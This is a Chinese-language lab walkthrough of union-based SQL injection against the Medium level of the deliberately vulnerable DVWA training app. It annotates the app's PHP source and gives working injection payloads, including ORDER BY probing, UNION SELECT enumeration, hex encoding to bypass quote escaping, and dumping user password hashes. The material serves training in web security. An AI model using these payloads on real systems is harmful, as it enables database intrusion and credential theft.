目录
DVWA(Damn Vulnerable Web Application)中的 SQL Injection 关卡是用于练习和演示 SQL 注入攻击的不同场景,不同安全等级存在不同的漏_洞和绕过方法,本小节对中等Medium级别的关卡进行渗透实战。
一、SQL Injection
SQL 注入(SQL Injection)是指攻击者通过在应用程序的输入字段中插入恶意 SQL 代码,从而执行非预期的数据库操作。使用联合注入方法的渗透步骤如下表所示。
步骤 | 目标 | 方法 |
---|---|---|
确认注入点 | 判断是否存在SQL注入 | 输入逻辑表达式(如 1 OR 1=1 ),观察页面响应差异 |
确定字段数 | 推断查询的列数量 | 使用 ORDER BY N 递增测试,直至页面报错 |
寻找回显位置 | 定位可显示数据的字段 | 使用 UNION SELECT NULL,... 逐个替换为数字,观察页面显示内容 |
枚举数据库信息 | 子步骤 | 技术手段 |
1. 获取当前数据库名 | SELECT database() | |
2. 枚举所有数据库 | SELECT schema_name FROM information_schema.schemata | |
3. 获取目标表名 | SELECT table_name FROM information_schema.tables WHERE table_schema='db_name' | |
4. 获取目标列名 | SELECT column_name FROM information_schema.columns WHERE table_name='tbl_name' | |
5. 提取数据内容 | SELECT col1,col2 FROM tbl_name |
二、代码审计(Medium级别)
1、源码分析
(1)index.php
进入DVWA靶场源目录,找到index.php源码。
这段代码实现了
这段 PHP 代码是 Damn Vulnerable Web Application (DVWA) 中 SQL 注入攻击演示页面的主控制器,主要功能包括:
- 环境初始化:设置页面路径、验证用户身份、连接数据库。
- 安全级别控制:根据用户 Cookie 中的安全级别设置(低、中、高、不可能),加载不同的实现文件。这些文件包含不同防护级别的 SQL 查询代码,用于演示不同难度的 SQL 注入场景。
- 表单生成:根据安全级别动态生成不同的用户输入表单(低级、中级、高级、不可能共4个级别)
- 环境检测:检查 PHP 配置中的魔术引号和安全模式,提供环境安全提示。
- 结果展示:将 SQL 查询结果和安全参考资料链接整合到页面中。
经过注释后的详细代码如下所示。
<?php
// 定义网站根目录路径常量,并引入页面处理工具
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
// 初始化页面,验证用户认证状态并启动PHPIDS防护模块
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
// 创建新页面实例并设置页面元信息
$page = dvwaPageNewGrab();
$page[ 'title' ] = 'Vulnerability: SQL Injection' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'sqli';
$page[ 'help_button' ] = 'sqli';
$page[ 'source_button' ] = 'sqli';
// 连接数据库
dvwaDatabaseConnect();
// 设置表单提交方式的不同级别文件
$method = 'GET';
$vulnerabilityFile = '';
// 根据安全级别Cookie选择不同的实现文件
switch( $_COOKIE[ 'security' ] ) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
$method = 'POST'; // 中等级别使用POST方法
break;
case 'high':
$vulnerabilityFile = 'high.php';
break;
default:
$vulnerabilityFile = 'impossible.php'; // 默认使用安全实现
break;
}
// 引入对应安全级别的SQL注入实现文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli/source/{$vulnerabilityFile}";
// 检查PHP环境配置并生成警告信息
$WarningHtml = '';
// 检测魔术引号是否开启(已弃用的安全机制)
if( ini_get( 'magic_quotes_gpc' ) == true ) {
$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
}
// 检测安全模式是否开启(已弃用的安全机制)
if( ini_get( 'safe_mode' ) == true ) {
$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
}
// 构建页面主体内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: SQL Injection</h1>
{$WarningHtml}
<div class=\"vulnerable_code_area\">";
// 高级安全级别使用JavaScript弹窗获取用户ID
if( $vulnerabilityFile == 'high.php' ) {
$page[ 'body' ] .= "Click <a href=\"#\" onclick=\"javascript:popUp('session-input.php');return false;\">here to change your ID</a>.";
}
// 其他安全级别使用表单获取用户ID
else {
$page[ 'body' ] .= "
<form action=\"#\" method=\"{$method}\">
<p>
User ID:";
// 中等级别使用下拉菜单限制输入范围
if( $vulnerabilityFile == 'medium.php' ) {
$page[ 'body' ] .= "\n <select name=\"id\">";
// 动态生成下拉选项(基于数据库行数)
for( $i = 1; $i < $number_of_rows + 1 ; $i++ ) { $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
$page[ 'body' ] .= "</select>";
}
// 低级别和不可能级别使用文本框直接输入
else
$page[ 'body' ] .= "\n <input type=\"text\" size=\"15\" name=\"id\">";
$page[ 'body' ] .= "\n <input type=\"submit\" name=\"Submit\" value=\"Submit\">
</p>\n";
// 不可能级别添加CSRF令牌保护
if( $vulnerabilityFile == 'impossible.php' )
$page[ 'body' ] .= " " . tokenField();
$page[ 'body' ] .= "
</form>";
}
// 添加查询结果区域和安全参考资料链接
$page[ 'body' ] .= "
{$html} // 存储SQL查询结果的变量
</div>
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/SQL_Injection' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
</ul>
</div>\n";
// 输出HTML页面
dvwaHtmlEcho( $page );
?>
(2)Medium.php
进入DVWA靶场源目录,找到Medium.php源码。
打开源码Medium.php,分析可知这段代码实现了一个简单的用户信息查询功能,如下所示。
这段代码可能被黑客进行SQL注入攻击,具体原因如下所示。
- 通过表单接收用户输入的id参数(POST参数),仅使用mysqli_real_escape_string()过滤
- 将该参数过滤后被拼接到 SQL 查询语句中,查询users表中的first_name和last_name
- 将查询结果展示给用户
详细注释后的代码如下所示。
<?php
// 检查是否提交了表单(Submit按钮被点击)
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取用户输入的id值
$id = $_POST[ 'id' ];
// 使用mysqli_real_escape_string对输入进行转义处理
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
// 构建SQL查询语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
// 执行查询,如果失败则显示错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// 遍历查询结果
while( $row = mysqli_fetch_assoc( $result ) ) {
// 获取名字和姓氏
$first = $row["first_name"];
$last = $row["last_name"];
// 构建HTML输出
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// 查询用户表中的总记录数
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
// 关闭数据库连接
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
2、渗透思路
(1)SQL安全问题分析
- 输入仅经过mysqli_real_escape_string简单过滤,它只能防止字符串类型的注入,对于数字型参数无效。
- SQL 拼接:将用户输入直接拼接到 SQL 语句中,未使用预处理语句。
(2)SQL渗透思路
原始SQL语句:SELECT first_name, last_name FROM users WHERE user_id = $id;
闭合单引号:输入1 OR 1=1
会导致 SQL 变为如下内容。
SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;
由于1=1恒为真,该查询会返回所有用户记录。
三、渗透准备
1、配置安全级别
配置security为低等medium级别,如下图所示。
进入到SQL Injection关卡medium页面,完整URL地址具体如下所示。
http://192.168.59.1/dvwa/vulnerabilities/sqli/
2、配置字符集
参考SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法-CSDN博客
为避免使用联合注入法时报错“Illegal mix of collations for operation 'UNION'”,修改dvwa数据库user表的first_name与last_name字符集,如下图所示。
修改dvwa数据库user表的password字符集,如下图所示。
四、渗透实战
1、判断注入类型
进入靶场的SQL注入关卡,这里可以选择id的值(范围仅限1-5),页面上不可以自定义数值,如下所示。
页面回显为id,first name和surname参数,具体如下所示。
bp抓包如下红框所示,参数id通过POST方法传入。
由于报文中的参数id是通过POST传入,接下来我们通过burpsuite来进行渗透,将报文发送到bp,如下所示。
将id=1的数字后面加入单引号,基于源码分析我们知道单引号被转义,故而有如下报错信息。
2、获取SQL 查询语句中的字段数
输入1 order by 3#报错,效果如下所示。
输入1 order by 2#查询成功,效果如下所示。
综上所述,可判断出执行的 SQL 查询语句中只有两个字段。
3、获取当前数据库
输入-1 union select 1, 2#,判断回显位,如下所示1和2都限时成功,1和2这两个输出位置均为可用的回显位。
输入-1 union select database(), version()#,可得出当前使用的数据库为dvwa以及数据库版本信息。
4、获取数据库中的表
输入-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#,不过执行过程报错。
不过此时报错“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'dvwa\'#'”,这是因为单引号被转义导致。这时候我们可以利用16进制来绕过转义过滤,选择使用bp的hackbar进行16进制转换,选中后encoding-hex encoding,string to 00ff00ff,具体如下所示。
转换后的值为0x64767761,如下所示。
此步骤渗透的SQL注入语句如下所示。
-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=0x64767761#
或者使用database()代替'dvwa',此时注入语句如下所示。
5、获取表中的字段名
输入-1 union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#,按理可以获取users表的所有字段。
但是由于单引号被转义处理,故而我们使用16进制转换,注入命令修改为如下所示。
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
输出关键信息如下所示,包含username和password两项内容。
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level,id,username,password
6、获取字段信息
输入-1 union select group_concat(user_id,first_name,last_name), group_concat(password) from users #,成功获取到用户名和加密后的密码,如下所示。
渗透获取道德文字版的用户名和密码如下所示。
First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith<br />
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99